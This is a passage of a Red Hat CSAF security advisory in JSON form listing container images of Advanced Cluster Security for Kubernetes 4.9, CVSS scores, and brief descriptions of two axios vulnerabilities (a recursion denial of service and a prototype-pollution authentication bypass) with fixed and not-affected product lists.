"url": "https://access.redhat.com/errata/RHSA-2026:20938"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data"
},
{
"cve": "CVE-2026-42041",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T19:01:41.034289+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461629"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
